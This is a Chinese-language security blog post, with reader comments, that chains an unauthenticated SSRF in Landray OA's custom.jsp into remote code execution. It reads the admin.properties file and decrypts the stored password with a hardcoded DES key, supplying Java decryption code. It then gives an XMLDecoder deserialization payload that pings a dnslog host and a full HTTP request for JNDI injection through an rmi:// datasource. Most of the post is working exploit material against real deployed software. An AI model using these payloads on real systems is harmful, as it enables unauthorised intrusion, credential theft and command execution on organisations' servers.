某凌OA前台SSRF进一步利用到RCE

某凌OA前台SSRF漏洞

漏洞地址:

/sys/ui/extend/varkind/custom.jsp

直接贴源码:

<%@page import="com.landray.kmss.util.ResourceUtil"%>
<%@page import="net.sf.json.JSONArray"%>
<%@page import="net.sf.json.JSONObject"%>
<%@ page language="java" pageEncoding="UTF-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%
    JSONObject vara = JSONObject.fromObject(request.getParameter("var"));
    JSONObject body = JSONObject.fromObject(vara.get("body"));
%>
<c:import url='<%=body.getString("file") %>'>
    <c:param name="var" value="${ param['var'] }"></c:param>
</c:import>

挺简单的一处漏洞。。

内容就是一堆套娃处理。不细说。

问题就是在于<c:import url=

<c:import>标签提供了所有<jsp:include>行为标签所具有的功能,同时也允许包含绝对URL。

举例来说,使用<c:import>标签可以包含一个FTP服务器中不同的网页内容。

url的内容可控为json内容中的file键值

这里的url可以是相对路径和绝对路径或者是其他主机的资源。

简单来说就是一处ssrf。并且是有回显的。

看了大部分poc都是利用file协议去读取passwd
ll-1.png

你以为文章到这就结束了???这才刚刚开始。

既然是SSRF,并且可以读文件还支持相对路径?。这不好好利用一下?

如果你看过OA的配置文档。你就知道,admin.do这个路径是管理系统配置。并且,该地址的密码是以硬编码的格式保存在本地的。

路径:WEB-INF/KmssConfig/admin.properties

既然上面的ssrf支持相对路径和绝对路径。并且,是有回显的。那么只需要读取这个路径的文件就可以了。

ll-2.png
成功得到密码,但是这里要注意
kmss.properties.encrypt.enabled = true

如果为ture,则说明password的内容是加密过的。

那么就需要进一步解密。

先看看这个文件在哪里被读取了。

ll-3.png

com.landray.kmss.sys.config.constant.SysConfigConstant类中,admin.properties的路径被存储在变量ADMIN_PROPERTIES_PATH中。

继续查找,看一下哪里调用了ADMIN_PROPERTIES_PATH变量

最终在com.landray.kmss.sys.config.action.SysConfigAdminUtil中发现getAdminProperties方法中存在调用。

看了下具体逻辑。

    if (isEncryptEnabled(p))
      p.setProperty("password", doPasswordDecrypt(
            p.getProperty("password"))); 
    return p;
  }

如果配置文件中的加密选项为true。则进入doPasswordDecrypt方法进行解密。
ll-4.png
这不就直接可以了吗?
ll-6.png
解密代码:


import com.landray.kmss.util.DESEncrypt;

public class main {
    public static void main(String[] args) {
        String password = "mqwEyqHLj9PQXpy+yhf4z92SejWx+VeS";
        String resul=doPasswordDecrypt(password);
        System.out.println(resul);

    }
    public static String doPasswordDecrypt(String password) {
        try {
            DESEncrypt des = new DESEncrypt("kmssAdminKey");
            return des.decryptString(password);
        } catch (Exception ex) {
            try {
                DESEncrypt des0 = new DESEncrypt("kmssAdminKey", true);
                return des0.decryptString(password);
            } catch (Exception e) {
                return "hh";
            }
        }
    }
}

得到解密结果
ll-7.png
直接访问admin.do进行登陆。

ll-8.png
到了这一步。。。估计其他师傅已经知道怎么rce了。jndijdbc反序列化就可以直接rce了

不过,对于我这种懒狗来说。还是不够简洁。

对于admin账号。可以直接在前台登陆。
ll-9.png
然后利用hw期间爆出的后台洞就可以直接拿到shell。

这里摸一个0day,带走。
ll-10.png

也可以使用之前在星球发过的xmldecoder反序列化漏洞。

POC:

/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&fdParameters=<payload>

使用XMLDecoder-payload-generator生成payload。

github地址:
https://github.com/mhaskar/XMLDecoder-payload-generator

ll-11.png
ll-12.png

<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>ping</string></void><void index="1"><string>test.****.dnslog.cn</string></void></array> <void method="start" id="process"> </void> </void> </java>

这里测试下dnslog

ll-13.png
成功RCE

填坑:

上文中写到admin账户可以直接在前台登陆,其实不然,后续针对源码进行了一下分析,发现前后台的admin账户并非一个。后台以DES编码保存在本地文件WEB-INF/KmssConfig/admin.properties下。而前台的admin账户则是有数据库中读取,上文中只能以"运气好"来描述,前台和后台共用了一个密码。

当我们进入后台,也是可以利用JNDI注入来进行远程命令执行的

OA使用的是自带的jdk1.7.

可以直接使用网上的Payload进行jndi注入。

EXP工具:https://github.com/welk1n/JNDI-Injection-Exploit
1.png
使用1.7地址 然后直接点击测试链接就可以:

POC:

POST /admin.do HTTP/1.1
Host: adderss
Connection: close
Content-Length: 61
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LtpaToken=; JSESSIONID=9A9692B5AC5ABEB779C4F77244E73362

method=testDbConn&datasource=rmi://ip:port/sxoevq

本文链接:

https://websecuritys.cn/archives/lanlingoa.html
1 + 7 =
9 评论
    ttkChrome 86Windows 10
    昨天 10:56 回复

    很好奇师傅们怎么整的源码

      ttkChrome 86Windows 10
      昨天 10:56 回复

      @ttk 。。。不知道哪儿来的@

        yuanhaiChrome 94Windows 10
        昨天 12:36 回复

        @ttk 找源码的姿势有很多,比较知名的你可以闲鱼找找

    testChrome 89Windows 10
    5月8日 回复

    怎么可以看到他的源码呢?

      yuanhaiChrome 90OSX
      5月8日 回复

      @test 不太明白师傅的意思,是想读它源码?

    kidChrome 90Windows 10
    5月7日 回复

    海神。YYDS,你为什么这么强。为什么我只能仰望你。。好想跟你在一个宿舍 不断学习
    又见海神墨宝,感动稀里哗啦的

      yuanhaiChrome 90OSX
      5月7日 回复

      @kid 师傅也要好好学习哦

    NginxChrome 90OSX
    5月5日 回复

    解密代码缺少引入jar包

      yuanhaiChrome 90OSX
      5月5日 回复

      @Nginx 加密规则是DES,随便找一个在线解密的网站就可以了,密匙:kmssAdminKey